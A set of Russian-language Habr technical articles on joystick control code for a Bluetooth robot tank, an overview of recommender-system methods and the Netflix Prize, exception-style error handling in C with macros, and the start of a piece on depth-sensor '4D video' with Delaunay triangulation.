scrPitch.Position:=TRLogitechExtreme(Joy).Pitch;
scrAileron.Position:=TRLogitechExtreme(Joy).Aileron;
scrRudder.Position:=TRLogitechExtreme(Joy).Rudder;
scrThrottle.Position:=TRLogitechExtreme(Joy).Throttle;
cbFire.Checked:=TRLogitechExtreme(Joy).Btn1;
cbAltFire.Checked:=TRLogitechExtreme(Joy).Btn2;
Hat:=TRLogitechExtreme(Joy).Hat;
CenterCamera:=TRLogitechExtreme(Joy).Btn1;
Speed:=(TRLogitechExtreme(Joy).Pitch div 8)-255; //4096 to -256..256
Steer:=(TRLogitechExtreme(Joy).Aileron div 4)-127; //1024 to -127..128
end;
ApplyDeadZone(Speed,DeadX);
ApplyDeadZone(Steer,DeadY);
if Speed>MaxSpeed then Speed:=MaxSpeed;
if Speed<-MaxSpeed then Speed:=-MaxSpeed;
if Speed>0 then begin
//Forward
//Left/Right turn
lSpeed:=Speed-Steer;
rSpeed:=Speed+Steer;
if lSpeed<0 then lSpeed:=0;
if rSpeed<0 then rSpeed:=0;
if lSpeed>MaxSpeed then lSpeed:=MaxSpeed;
if rSpeed>MaxSpeed then rSpeed:=MaxSpeed;
end else begin
//Backward
//Left/Right turn
lSpeed:=Speed+Steer;
rSpeed:=Speed-Steer;
if lSpeed>0 then lSpeed:=0;
if rSpeed>0 then rSpeed:=0;
if lSpeed<(-MaxSpeed) then lSpeed:=-MaxSpeed;
if rSpeed<(-MaxSpeed) then rSpeed:=-MaxSpeed;
end;
scrLeft.Position:=-lSpeed;
scrRight.Position:=-rSpeed;
if (cbAltFire.Checked) and (bConnect.Caption='Connect') then bConnect.OnClick(Self);
case Hat of
hUp: Inc(Tilt);
hUpRight:begin
Inc(Tilt);Dec(pan);
end;
hRight: Dec(pan);
hRightDown: begin
Dec(Pan); Dec(tilt);
end;
hDown: Dec(Tilt);
hLeftDown: begin
Inc(pan);Dec(tilt);
end;
hLeft: Inc(pan);
hLeftUp: begin
Inc(pan);Inc(tilt);
end;
hCenter: if CenterCamera then begin
pan:=panCenter;
tilt:=tiltCenter;
end;
end;
//Limit Pan&Tilt range
if panmaxPan then pan:=maxPan;
if tilt>maxTilt then tilt:=maxTilt;
//Show info
lJoy.Caption:='S:'+IntToStr(Speed)+' D:'+InttoStr(Steer)+' L:'+InttoStr(lSpeed)+' R:'+InttoStr(rSpeed);
lhat.Caption:=THatPosString[Integer(Hat)];
//Show camera position on sliders
scrPan.Position:=pan;
scrTilt.Position:=tilt;
//Send command to tank
Command2Tank;
end;
```
Сначала приводим сырые значения координат осей к диапазону скоростей -256..256 и направлений -127..128.
Поскольку при линейном управлении на малых значениях скоростей моторам не хватит сил сдвинуть с места робота, то вводим небольшие мертвые зоны (опытным путем) — двигаться будет только начиная с некоторого значения скорости. (ApplyDeadZone(Speed,DeadX); ApplyDeadZone(Steer,DeadY);)
После того, как учли руль направления, проверяем, что скорости не вылезли за диапазон, показываем на форме ползунками наглядно скорости моторов.
Затем в зависимости от положения шляпы меняем направление камеры или центруем ее, также проверяем ограничения (сервы упираются механически обычно раньше, чем достигают цифровых пределов управления). отображаем положение камеры на другой паре ползунков, выводим скорости и отправляем команду танку.
```
procedure TfTank.Command2Tank;
begin
lDir:=0;
rDir:=0;
//prepare rDir, lDir data based on tracks speed
case lSpeed of
0:lDir:=0; //stop
1..255: lDir:=1; //forward
-255..-1:lDir:=2; //backward
end;
case rSpeed of
0:rDir:=0; //stop
1..255: rDir:=1; //forward
-255..-1:rDir:=2; //backward
end;
Tank.SendCommand(lDir,Abs(lSpeed),rDir,Abs(rSpeed), pan, tilt);
end;
```
В коде есть еще различные эксперименты, куски, отвечающие за сохранение выбранных порта и джойстика, сохранение и загрузку пределов управления и центровки камеры, есть возможность вернуть управление не джойстиком, а непосредственно дергая за ползунки скорости и направления. Но это не касается основной задачи управления. Можете пользоваться кодом как вам больше нравится, даже можете «устроить BolgenOS» если захочется :)
Скачать [исходники R BT RC Tank](http://code.google.com/p/r-rc-robot/downloads/detail?name=R%20BT%20RC%20Tank.zip&can=2&q=) можно на [сайте проекта](http://code.google.com/p/r-rc-robot/) в Google code.
Я попытался снять процесс управления от первого лица, но съемка экрана камерой — неблагодарное занятие, вышло довольно посредственно. Но общий смысл понятен.
P.S. вот прямо сейчас шасси разобрано для переделки, поэтому быстро проверить какие-то изменения в коде на железе не смогу. Но версия, доступная для скачивания вполне работоспособна, как видно на видео. | https://habr.com/ru/post/136224/ | null | ru | null |
# Рекомендательные системы: идеи, подходы, задачи
Многие привыкли ставить оценку фильму на КиноПоиске или imdb после просмотра, а разделы «С этим товаром также покупали» и «Популярные товары» есть в любом интернет- магазине. Но существуют и менее привычные виды рекомендаций. В этой статье я расскажу о том, какие задачи решают рекомендательные системы, куда бежать и что гуглить.
Что рекомендуем?
----------------
Что, если мы хотим рекомендовать [комфортный для пользователя маршрут](https://rohit246.github.io/sites/comfride/pdf/RecSys2018.pdf)? Разным пользователям важны различные аспекты поездки: наличие сидячих мест, время в пути, загруженность транспорта, кондиционер, красивый вид из окна. Необычная задача, но примерно понятно, как построить такую систему.
Что, если мы рекомендуем [новости](http://ls13-www.cs.tu-dortmund.de/homepage/publications/jannach/Conference_RECSYS18.pdf)? Новости быстро устаревают — нужно показывать пользователям свежие статьи, пока они ещё актуальны. При этом необходимо понимать содержание статьи. Уже сложнее.
А если мы рекомендуем [рестораны](https://www.cs.uic.edu/~liub/publications/FINAL_aspect_recommendations.pdf) на основе отзывов? Но рекомендуем не только ресторан, но и конкретные блюда, которые стоит попробовать. Можно также давать рекомендации ресторанам о том, что стоит улучшить.
Что, если мы вообще [развернем задачу](https://arxiv.org/abs/1808.01199) и попытаемся ответить на вопрос: «Какой товар будет интересен наибольшей группе людей?». Становится совсем необычно и сходу непонятно, как такое решать.
На самом деле, существует множество вариаций задачи рекомендаций и в каждой есть свои нюансы. Рекомендовать можно совершенно неожиданные вещи. Мой любимый пример — рекомендация [превьюшек на Netflix](https://medium.com/netflix-techblog/artwork-personalization-c589f074ad76).
Более узкая задача
------------------
Возьмем понятную и привычную задачу рекомендации музыки. Что именно мы хотим порекомендовать?
[](https://habrastorage.org/webt/9t/dg/zk/9tdgzkkujobnquijwgvcy9_adyk.png)
На этом коллаже можно найти примеры различных рекомендаций Spotify, Google и Яндекса.
* Выделение однородных интересов в Daily Mix
* Персонализированные новинки Release Radar, Recommended New Releases, Премьера
* Персональная подборка того, что вам нравится — Плейлист Дня
* Персональная подборка треков, которые пользователь еще не слышал — Discover Weekly, Дежавю
* Сочетание предыдущих двух пунктов с уклоном в новые треки — I’m Feeling Lucky
* Находится в библиотеке, но еще не прослушано — Тайник
* Your Top Songs 2018
* Треки, которые ты слушал в 14 лет, и которые [сформировали твои вкусы](https://www.nytimes.com/2018/02/10/opinion/sunday/favorite-songs.html) — Your Time Capsule
* Треки, которые, возможно, понравятся, но отличаются от того, что пользователь обычно слушает — Taste breakers
* Треки артистов, которые выступают в твоем городе
* Подборки по стилям
* Подборки по активностям и настроению
И наверняка можно придумать что-нибудь ещё. Даже если мы абсолютно точно умеем предсказывать, какие треки нравятся пользователю, все равно остается вопрос, в каком виде и в какой компоновке их выдавать.
Классическая постановка
-----------------------
В классической постановке задачи всё, что у нас есть — это матрица оценок user-item. Она очень разрежена и наша задача — заполнить пропущенные значения. Обычно в качестве метрики используют RMSE предсказанного рейтинга, однако [существует мнение](https://pdfs.semanticscholar.org/0756/3ba21b3508309c389ed219af141dc1bc6d51.pdf), что это не совсем правильно и следует учитывать характеристики рекомендации как целого, а не точность предсказания конкретного числа.
Как оценивать качество?
-----------------------
#### Online evaluation
Наиболее предпочтительный способ оценки качества системы — прямая проверка на пользователях в контексте бизнес-метрик. Это может быть CTR, время, проведенное в системе, или количество покупок. Но эксперименты на пользователях дороги, а выкатывать плохой алгоритм даже на малую группу пользователей не хочется, поэтому до онлайн-проверки пользуются оффлайн метриками качества.
#### Offline evaluation
В качестве метрик качества обычно используют метрики ранжирования, например, MAP@k и nDCG@k.
---
`Relevance` в контексте `MAP@k` — бинарное значение, а в контексте `nDCG@k` — может быть и рейтинговая шкала.
Но, помимо точности предсказания, нас могут интересовать и другие вещи:
* сoverage — доля товаров, которая выдается рекомендателем,
* personalization — насколько различаются рекомендации между пользователями,
* diversity — насколько разнообразные товары находятся внутри рекомендации.
В целом есть неплохой обзор метрик [How good your recommender system is? A survey on evaluations in recommendation](https://link.springer.com/article/10.1007/s13042-017-0762-9). Пример формализации метрики новизны можно посмотреть в [Rank and Relevance in Novelty and Diversity Metrics for Recommender Systems](http://ir.ii.uam.es/predict/pubs/recsys11-vargas.pdf).
Данные
------
#### Explicit feedback
Матрица оценок — это пример explicit-данных. Лайк, дислайк, рейтинг — пользователь сам явно выразил степень своего интереса к айтему. Таких данных обычно мало. Например, в соревновании [Rekko Challenge](https://boosters.pro/championship/rekko_challenge/overview) в тестовых данных хотя бы одна оценка есть только у 34% пользователей.
#### Implicit feedback
Гораздо больше имеется информации о неявных предпочтениях — просмотры, клики, добавление в закладки, настройка уведомлений. Но если пользователь посмотрел фильм — это означает лишь то, что до просмотра фильм казался ему достаточно интересным. Прямых выводов о том, понравился фильм или нет, мы сделать не можем.
Функции потерь для обучения
---------------------------
Чтобы использовать implicit feedback, придумали соответствующие методы обучения.
#### Bayesian Personalized Ranking
[Оригинальная статья](https://arxiv.org/pdf/1205.2618.pdf).
Известно, с какими айтемами взаимодействовал пользователь. Будем считать, что это положительные примеры, которые ему понравились. Остается множество айтемов, с которым пользователь не взаимодействовал. Мы не знаем, какие из них пользователю будут интересны, а какие нет, но мы наверняка знаем, что далеко не все из этих примеров окажутся положительными. Сделаем грубое обобщение и будем считать отсутствие взаимодействия отрицательным примером.
Будем семплировать тройки {пользователь, положительный айтем, отрицательный айтем} и штрафовать модель, если отрицательный пример оценен выше положительного.
#### Weighted Approximate-Rank Pairwise
Добавим к предыдущей идее adaptive learning rate. Будем оценивать обученность системы, исходя из количества семплов, которые нам пришлось просмотреть, чтобы для данной пары {пользователь, положительный пример} найти отрицательный пример, который система оценила выше положительного.
Если мы нашли такой пример с первого раза, значит штраф должен быть большой. Если пришлось долго искать, значит система уже неплохо работает и штрафовать так сильно не нужно.
* [Оригинальная статья](http://www.thespermwhale.com/jaseweston/papers/wsabie-ijcai.pdf)
* [Расширение идеи](http://www.ee.columbia.edu/~ronw/pubs/recsys2013-kaos.pdf)
* [Пост в блоге](https://building-babylon.net/2016/03/18/warp-loss-for-implicit-feedback-recommendation/)
О чём ещё стоит подумать?
-------------------------
#### Холодный старт
Как только мы научились делать предсказания для существующих пользователей и товаров, встаёт два вопроса: — «Как рекомендовать товар, который ещё никто не видел?» и «Что рекомендовать пользователю, у которого ещё нет ни одной оценки?». Для решения этой проблемы стараются извлечь информацию из других источников. Это могут быть данные о пользователе из других сервисов, опросник при регистрации, информация об айтеме из его содержания.
При этом существуют задачи, для которых состояние холодного старта является постоянным. В Session Based Recommenders нужно успеть понять что-то о пользователе за то время, что он находится на сайте. В рекомендателях новостей или товаров моды постоянно появляются новые айтемы, а старые быстро устаревают.
#### Long Tail
Если для каждого айтема посчитать его популярность в виде количества юзеров, которые с ним взаимодействовали или поставили положительную оценку, то очень часто будет получаться график как на изображении:
[](https://habrastorage.org/webt/1s/dc/lf/1sdclfkfm5gqljzc86eanb2c8jo.png)
Существует очень маленькое количество айтемов, о которых знают все. Нет никакого смысла их рекомендовать, потому что пользователь, скорее всего, либо уже их видел и просто не поставил оценку, либо и так о них знает и собирается посмотреть, либо твердо решил не смотреть вовсе. Я не раз смотрел трейлер «Списка Шиндлера», но посмотреть так и не собрался.
С другой стороны, популярность очень быстро спадает, и подавляющее количество айтемов практически никто не видел. Делать рекомендации из этой части полезней: там есть интересный контент, который пользователь вряд ли сможет найти сам. Для примера — справа статистика прослушиваний одной из моих любимых групп на Яндекс.Музыке.
Exploration vs Exploitation
---------------------------
Допустим, мы точно знаем, что нравится пользователю. Значит ли это, что мы должны рекомендовать одно и то же? Есть ощущение, что такие рекомендации быстро наскучат и стоит иногда показывать что-то новое. Когда мы рекомендуем то, что точно должно понравиться — это exploitation. Если мы пробуем добавить в рекомендации что-то менее популярное или как-то их разнообразить — это exploration. Хочется балансировать эти вещи.
Неперсонализированные рекомендации
----------------------------------
Самый простой вариант — рекомендовать всем одно и то же.
#### Сортировка по популярности
Score = (Positive ratings) − (Negative ratings)
Можно вычесть из лайков дислайки и отсортировать. Но в таком случае мы не учитываем их процентное соотношение. Есть ощущение, что 200 лайков 50 дислайков не то же самое, что 1200 лайков и 1050 дислайков.
Score = (Positive ratings) / (Total ratings)
Можно поделить количество лайков на количество дислайков, но в таком случае мы не учитываем количество оценок и товар с одной оценкой в 5 баллов будет отранжирован выше, чем очень популярный товар со средней оценкой в 4.8.
Как [не сортировать по среднему рейтингу](http://www.evanmiller.org/how-not-to-sort-by-average-rating.html) и учитывать количество оценок? Посчитать доверительный интервал: «Исходя из имеющихся оценок, с вероятностью в 95 % истинная доля положительных оценок как минимум какая?». Ответ на этот вопрос дал Эдвин Уилсон в 1927 году.
 — наблюдаемая доля положительных оценок
 — 1-альфа квантиль нормального распределения
Совстречаемости
---------------
Выделение часто встречающихся множеств товаров включает в себя целую группу задач pattern mining: [periodic pattern mining](http://data-mining.philippe-fournier-viger.com/an-introduction-to-the-discovery-of-periodic-patterns-in-data/), [sequential rule mining](http://data-mining.philippe-fournier-viger.com/introduction-to-sequential-rule-mining/), [sequential pattern mining](http://data-mining.philippe-fournier-viger.com/introduction-frequent-pattern-mining/), [high- utility itemset mining](http://data-mining.philippe-fournier-viger.com/introduction-high-utility-itemset-mining/), [frequent itemset mining (basket analysis)](https://www.kdnuggets.com/2016/04/association-rules-apriori-algorithm-tutorial.html). Для каждой конкретной задачи будут свои [методы](http://www.philippe-fournier-viger.com/spmf/index.php?link=algorithms.php), но если грубо обобщать, алгоритмы по поиску частых множеств выполняют сокращенный поиск в ширину, стараясь не перебирать заведомо плохие варианты.
Отсечение редких множеств происходит по задаваемой границе support — количество или частота встречаемости множества в данных.
После выделения частых itemset оценивается качество их зависимости с помощью метрики Lift или Confindence(a,b) / Confidence(!a,b). Они нацелены на то, чтобы удалить ложные зависимости.
Например, бананы могут часто встречаться в продуктовой корзине вместе с консервами. Но дело не в какой-то особой связи, а в том, что бананы популярны сами по себе, и это следует учитывать при поиске совстречаемостей.
Персонализированные рекомендации
--------------------------------
#### Content-Based
Идея content-based подхода заключается в том, чтобы по истории действий пользователя создать для него вектор его предпочтений в пространстве предметов и рекомендовать товары, близкие к этому вектору.
То есть у айтема должно быть какое-то признаковое описание. Например, это могут быть жанры фильмов. История лайков и дизлайков фильмов формирует вектор предпочтения,
выделяя одни жанры и избегая другие. Сравнивая вектор пользователя и вектор айтема, можно сделать ранжирование и получить рекомендации.
#### Collaborative Filtering
Коллаборативная фильтрация предполагает наличие матрицы оценок пользователь-айтем. Идея заключается в том, чтобы для каждого пользователя найти наиболее похожих «соседей» и заполнить пропуски конкретного пользователя, взвешенно усредняя рейтинги «соседей».
Аналогично можно смотреть на схожесть айтемов, считая, что похожие айтемы нравятся похожим людям. Технически это будет просто рассмотрение транспонированной матрицы оценок.
Пользователи по-разному используют шкалу оценок — кто-то никогда не ставит выше восьми, а кто-то использует всю шкалу. Это полезно учитывать, и поэтому можно предсказывать не сам рейтинг, а отклонение от среднего рейтинга.
Либо можно заранее нормализовать оценки.
Matrix Factorization
--------------------
Из математики [мы знаем](https://www.youtube.com/watch?v=JEYLfIVvR9I), что любую матрицу можно разложить на произведение трех матриц. Но матрицы оценок очень разрежены, 99 % — обычное дело. А SVD не знает, что такое пропуски. Заполнять их средним значением не очень хочется. И в целом, нас не очень интересует матрица сингулярных значений — мы просто хотим получить скрытое представление пользователей и предметов, которое при перемножении будет приближать истинный рейтинг. Можно сразу раскладывать на две матрицы.
Что же делать с пропусками? Забить на них. Оказалось, что обучать приближать рейтинги по метрике RMSE с помощью SGD или ALS можно, вообще игнорируя пропуски. Первый такой алгоритм — [Funk SVD](https://sifter.org/~simon/journal/20061211.html), который придумали в 2006 году в ходе решения соревнования от Netflix.
Netflix Prize
-------------
[Netflix Prize](https://www.wired.com/2008/02/mf-netflix/) — значимое событие, которое дало сильный толчок развитию рекомендательных систем. Цель соревнования — обогнать существующую систему рекомендаций Cinematch по метрике RMSE на 10 %. Для этого был предоставлен большой на то время датасет, содержащий 100 миллионов оценок. Задача может показаться не такой сложной, но для достижения требуемого качества потребовалось переоткрывать соревнование два раза — решение было получено только на 3 год соревнования. Если бы было необходимо получить улучшение в 15 %, возможно, этого бы и не удалось достичь на предоставленных данных.
В процессе соревнования в данных были найдены [некоторые интересности](http://www.scientificblogging.com/random_walk/predicting_movie_ratings_math_won_netflix_prize). На графике показана средняя оценка фильмов в зависимости от даты появления в каталоге Netflix. Видимый разрыв связывают с тем, что в это время Netflix перешел от объективной шкалы (фильм плохой, фильм хороший) к субъективной (мне не понравилось, мне очень понравилось). Люди менее критичны, когда высказывают свою оценку, а не характеристику объекта.
На этом графике показано, как меняется средняя оценка фильмов после релиза. Видно, что за 2000 дней оценка поднимается на 0.2. То есть, после того как фильм перестал быть новым, его начинают смотреть те, кто достаточно сильно уверен в том, что фильм ему понравится, что повышает рейтинг.
Первый промежуточный приз взяла команда специалистов из AT&T — Korbell. После 2000 часов работы и составления ансамбля из 107 алгоритмов им удалось получить улучшение в 8,43 %.
Среди моделей была вариация SVD и RBM, которые сами по себе давали большую часть вклада. Остальные 105 алгоритмов улучшали только одну сотую метрики. Netflix адаптировал эти два алгоритма под свои объемы данных и использует их до сих пор как часть системы.
Во второй год соревнования произошло объединение двух команд и теперь приз взяли Bellkor in BigChaos. Они настакали суммарно 207 алгоритмов и улучшили точность ещё на одну сотую, достигнув значения 0.8616. Требуемое качество все ещё не достигнуто, но уже понятно, что на следующий год все должно получиться.
Третий год. Объединение еще с одной командой, переименование в Bellkor’s Pragmatic Chaos и достижение необходимого качества, немного уступая The Ensemble. Но это только публичная часть датасета.
На скрытой части оказалось, что точность у этих команд совпадает до четвертого знака после запятой, поэтому победителя определила разница коммитов в 20 минут.
Netflix выплатил обещанный миллион победителям, но так никогда и [не использовал полученное решение](https://medium.com/netflix-techblog/netflix-recommendations-beyond-the-5-stars-part-1-55838468f429). Внедрять полученный ансамбль оказалось слишком дорого, а пользы от него не так много — ведь всего два алгоритма уже дают большую часть прироста в точности. А самое главное — на время завершения соревнования в 2009, Netflix уже два года как начал заниматься своим стриминговым сервисом помимо аренды DVD. У них появилось много других задач и данных, которые они могли использовать в своей системе. Однако их сервис аренды DVD по почте до сих пор [обслуживает 2,7 миллионов счастливых подписчиков](https://www.fool.com/investing/2019/02/02/netflix-still-has-2700-stubborn-dvd-subscribers.aspx).
Нейросети
---------
В современных рекомендательных системах частый вопрос — как учитывать различные явные и неявные источники информации. Часто есть дополнительные данные о пользователе или айтеме и их хочется использовать. Нейросети — хороший способ учета такой информации.
В вопросе применения сетей для рекомендаций следует обратить внимание на обзор [Deep Learning based Recommender System: A Survey and New Perspectives](https://arxiv.org/pdf/1707.07435.pdf). В нем описаны примеры использования большого количества архитектур применительно к различным задачам.
Архитектур и подходов очень много. Одно из повторяющихся названий — [DSSM](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/frp1159-songA.pdf). Ещё я бы хотел отметить [Attentive Collaborative Filtering](https://www.comp.nus.edu.sg/~xiangnan/papers/sigir17-AttentiveCF.pdf).
ACF предлагает ввести два уровня аттеншена:
1. Даже при одинаковых рейтингах одни айтемы вносят больший вклад в ваши предпочтения, чем другие.
2. Айтемы не атомарны, а состоят из компонентов. Некоторые оказывают большее влияние на оценку, чем другие. Фильм может быть интересен только за счет наличия любимого актера.
Многорукие бандиты — одна из популярных тем недавнего времени. Что такое многорукие бандиты можно почитать в статье на [Хабре](https://habr.com/ru/company/ods/blog/325416/) или на [Медиуме](https://towardsdatascience.com/bandits-for-recommender-system-optimization-1d702662346e).
В применении к рекомендациям задача Contextual-Bandit будет звучать примерно так: «Подаем на вход системы контекстные вектора пользователя и айтема, хотим максимизировать вероятность взаимодействия (клика, покупки) по всем пользователям с течением времени, совершая частые обновления политики рекомендации». Такая формулировка естественным образом решает проблему exploration vs exploitation и позволяет быстрее выкатывать оптимальные стратегии на всех пользователей.
На волне популярности архитектуры трансформер также появляются попытки использовать их в рекомендациях. [Next Item Recommendation with Self-Attention](https://arxiv.org/abs/1808.06414) пытается комбинировать долговременные и недавние предпочтения пользователя для улучшения рекомендаций.
Инструменты
-----------
Рекомендации — не такая популярная тема, как CV или NLP, поэтому чтобы использовать последние архитектуры сеток придется либо реализовывать их самому, либо надеяться, что реализация автора достаточно удобна и понятна. Однако некоторые базовые инструменты все же есть:
* [Light FM](https://github.com/lyst/lightfm)
* [Spotlight](https://github.com/maciejkula/spotlight)
* [Surprise](http://surpriselib.com/)
* [OpenRec](https://github.com/ylongqi/openrec)
* [ProNet](https://github.com/cnclabs/proNet-core)
* [StarSpace](https://github.com/facebookresearch/StarSpace)
Заключение
----------
Рекомендательные системы далеко ушли от стандартной постановки про заполнение матрицы оценок, и в каждой конкретной области будут свои нюансы. Это привносит трудности, но и добавляет интереса. Кроме того, отделить рекомендательную систему от продукта в целом бывает трудно. Ведь важен не только список айтемов, но и способ и контекст подачи. Что, как, кому и когда рекомендовать. Все это определяет впечатление от взаимодействия с сервисом. | https://habr.com/ru/post/453792/ | null | ru | null |
# Реализация exceptions на plain C
Продолжение вот этой статьи [habrahabr.ru/post/131212](http://habrahabr.ru/post/131212/), где я собирался показать, как «и ошибки удобно обрабатывать и exceptions при этом не использовать», да всё руки не доходили.
Итак, будем считать, что у нас ситуация, что «настоящие C++ exceptions» использовать нельзя — например, языком разработки является C или компилятор С++ для нашей платформы не поддерживает exceptions (или формально поддерживает, а реально этим пользоваться нельзя). Это, конечно, нетипично для desktop приложений, но вполне обычно для embedded разработки.
Рассмотрим сначала инициализацию некой подсистемы, которой требуется (к примеру) три семафора, пара массивов и несколько фильтров (использующих эти массивы), которые что-то там будут делать дальше. Итак:
```
// инициализация подсистемы
boolean subsystem_init(subsystem* self) {
// семафоры
boolean ok = true;
ok = ok && sema_create(&self->sema1, 0);
ok = ok && sema_create(&self->sema2, 0);
ok = ok && sema_create(&self->sema3, 1);
// память
ok = ok && ((self->buffer1 = malloc(self->buff_size1)) != NULL);
ok = ok && ((self->buffer2 = malloc(self->buff_size2)) != NULL);
// фильтры
ok = ok && filter1_init(&self->f1, &self->x, &self->y, self->buffer1);
ok = ok && filter2_init(&self->f2, &self->level, self->buffer2);
return ok;
}
```
Чем хорош данный код? Самое главное его качество — его логика линейна. В нём нет ни одного (явного) **if**, программист просто пишет последовательность инициализации. Другое такое же по важности качество — происходит перехват *всех* ошибок. Каждая используемая в этом примере функция может завершиться с ошибкой — однако информация об этом не теряется, а будет передана на верхний уровень. Заметим, также, что при возникновении исключительной ситуации (например, не удалось выделить память для массива `buffer2`) система не пойдёт в разнос (т.е. не будет попыток создать `filter2` подсовывая ему невалидный указатель на буфер). Вообще ни одна из последующих функций не будет вызвана, а `subsystem_init` по завершению вернёт ошибку. Более того, инициализацию данной подсистемы можно легко встраивать в инициализацию системы верхнего уровня — всё, что требуется, чтобы этот подход использовался и там.
Уже, в принципе, всё хорошо — сама идея крайне проста, дополнительных накладных расходов на реализацию нет (проверять, успешно ли вызвался метод, надо в любом случае), никаких хитрых трюков не используется. Единственное требование — чтобы все функции, которые могут выполниться с ошибкой, укладывались в этот шаблон (это не трудно, на примере использования `malloc` видно, как это делается).
Но мы на этом останавливаться не будем, мы дальше пойдём.
Допустим, мы попытались проинициализировать эту подсистему, а получили ошибку. Было бы неплохо знать, *где именно* произошла внештатная ситуация — одному из фильтров не понравились его параметры или же ОС почему-то не хочет создавать семафоры. Булевского типа здесь уже не хватает. Хочется точно идентифицировать проблемную строку, а в идеале — иметь нормальный человеческий call stack (например, фильтру не понравились входные параметры, а у нас в программе десяток фильтров такого типа, какому именно не понравились — без call stack не ясно).
Не проблема. Всё, что нам потребуется — один дополнительный параметр для каждой функции, примерно такого вида:
```
typedef struct err_info {
int count;
int32_t stack[MAX_STACK]; // стек не бесконечный, да
};
```
В случае возникновения ошибки все функции должны делать следующее:
* добавить уникальный ID к стеку (если есть ещё место),
* выйти из функции, вернув `false`.
По соглашению, пусть все функции принимают эту структуру последним параметром и называться она будет одинаково (например, **e**). Так как сама логика одинакова, она реализуется один раз в виде макроса, все потом его используют. Исходный пример теперь будет выглядеть так:
```
// инициализация подсистемы
boolean subsystem_init(subsystem* self, err_info* e) {
// семафоры
REQ(sema_create(&self->sema1, 0), 0x157DF5F3);
REQ(sema_create(&self->sema2, 0), 0x601414A4);
REQ(sema_create(&self->sema3, 1), 0x7D8E585D);
// память
REQ(self->buffer1 = malloc(self->buff_size1), 0x5DEB6FC7);
REQ(self->buffer2 = malloc(self->buff_size2), 0x7939EDC5);
// фильтры
REQ(filter1_init(&self->f1, &self->x, &self->y, self->buffer1, e), 0x4D83E154);
REQ(filter2_init(&self->f2, &self->level, self->buffer2, e), 0x5B4D8F8D);
return true;
}
```
(ID генерируется не руками, конечно же, а любимой IDE по нажатию соответствующих клавиш)
А сам макрос REQ можно определить, допустим, таким образом:
```
#define REQ(X, ID) \
if (X) \
; \
else { \
if (e->count < MAX_STACK) \
e->stack[e->count++] = ID; \
return false; \
}
```
Итого, на самом верхнем уровне у нас будет результат инициализации (успех/сбой) и цепочка вызовов вплоть до самого места возникновения ошибки, если ошибка была.
Резюмируя:
* остались в рамках ANSI C (никаких нестандартных расширений не использовали),
* получили (практически бесплатный) call stack,
* исключительные ситуации отлавливаются,
* код линеен, не замусоривается постоянными проверками возвращаемых значений, в которых легко ошибиться,
* если у нас «С++ без exceptions», точно также получаем вызовы деструкторов уже созданных локальных переменных, как и при обычном генерировании exceptions.
ps: да, по сути — это реализация монады Maybe. | https://habr.com/ru/post/141507/ | null | ru | null |
# Снимаем «4D видео» с помощью depth-сенсора и триангуляции Делоне
Привет Хабр! Это заметка о небольшом хобби-проекте, которым я занимался в свободное время. Я расскажу, как с помощью несложных алгоритмов превращать карты глубины от depth-сенсоров в забавный вид контента — динамические 3D сцены (их ещё называют 4D video, volumetric capture или free-viewpoint video). Моя любимая часть в этой работе — алгоритм триангуляции Делоне, который позволяет превращать разреженные облака точек в плотную полигональную сетку. Приглашаю всех, кому интересно почитать про алгоритмы, самописные велосипеды на C++11, и, конечно же, посмотреть на трёхмерных котиков.
Для затравки: вот что получается при использовании RealSense R200: [skfb.ly/6snzt](https://skfb.ly/6snzt) (подождите несколько секунд для загрузки текстур, а затем используйте мышку, чтобы поворачивать сцену). Под катом есть ещё!
Обладатели лимитированных тарифов, будьте осторожны. В статье много разных изображений и иллюстраций.
*Дисклеймер: в этой статье не будет ни слова про искусственный интеллект, блокчейн или гравитационные волны. Это просто небольшая игрушка, которую я написал в основном для того, чтобы освежить C++ и OpenGL. Всё, ожидания сформированы, поехали!*
Какое-то время назад мне в руки попал девайс с 3D сенсором, а именно планшет [Google Tango Development Kit](http://cdn.gsmarena.com/pics/15/05/project-tango-google-store/gsmarena_001.jpg) с технологией [structured light](https://en.wikipedia.org/wiki/3D_scanner#Structured_light). Естественно, у меня чесались руки запрограммировать что-нибудь для этого интересного устройства.
Как раз примерно в то же время я впервые познакомился с новым видом контента — 4D видео. Под “4D видео” я понимаю трёхмерные сцены, которые эволюционируют во времени нетривиальным образом, т.е. их поведение нельзя описать простой моделью, вроде скелетной анимации или блендшейпов. Короче, что-то похожее на вот это:
Такой контент показался мне очень интересным; я решил поэкспериментировать с ним немного и написать своё приложение для генерации 4D роликов. Конечно, у меня нет студии и ресурсов как у Microsoft Research, да и сенсор всего один, поэтому результаты будут намного скромнее. Но это не остановит любителя программировать, правильно? О том, что у меня получилось, я и расскажу в этой статье.
**Про название статьи**
Надо признать, название «4D видео» — не самое удачное. Первый же вопрос: почему «4D», а не «3D». Ведь обычное видео не называют трёхмерным только потому, что плоская картинка изменяется со временем. Действительно, в серьезных работах обычно используют термин «free viewpoint video». Но для заголовка это слишком скучно, и я решил оставить кликбейтное 4D (хотя до 11D кинотеатров ещё далеко).
Большая часть аудитории, несомненно, знакома с 3D сенсорами. Самый массовый девайс в этой категории — всем известный Kinect, очень успешный продукт компании Microsoft. Однако несмотря на относительную распространённость, для многих людей depth-сенсоры остаются чем-то диковинным. Нам же будет полезно разобраться с принципом их работы прежде чем начинать писать приложения.
С Google Tango и другими structured light устройствами всё относительно понятно. Встроенный в девайс инфракрасный прожектор проецирует на сцену нерегулярный паттерн из световых точек, примерно как на этой картинке:
Затем специальный софт превращает искажения этого паттерна на изображении с ИК-камеры (вызванные разнообразной формой объектов) в серию 3D измерений. Для каждого светового пятнышка на снимке алгоритм восстанавливает пространственные координаты, и на выходе мы получаем 3D облако точек. Внутри, конечно же, всё устроено намного интереснее, но это тема для целой отдельной статьи.
Что ж, нужно проверить как это работает на практике! За пару вечеров на коленке было написано простое [приложение-граббер](https://github.com/alex-petrenko/4dvideo/blob/master/android_src/FourDVideoGrabber/app/src/main/java/com/threedvideo/threedvideograbber/MainActivity.java) для Tango-планшета на Android, и вот у меня есть мой самый первый dataset.
Хотя первая версия граббера была очень сырой, главное было достигнуто: координаты точек записались в бинарный файл. На скриншоте показано как выглядит облако точек с одного кадра в программе Meshlab.
Ок, облака точек это уже интересно. Однако point cloud — весьма “разреженное” представление сцены, ведь разрешение современных structured light сенсоров довольно низкое (обычно в районе 100x100 точек, плюс-минус). Да и в целом, в мире компьютерной графики гораздо привычнее другое представление 3D объектов и сцен, а именно полигональные сетки, или меши.
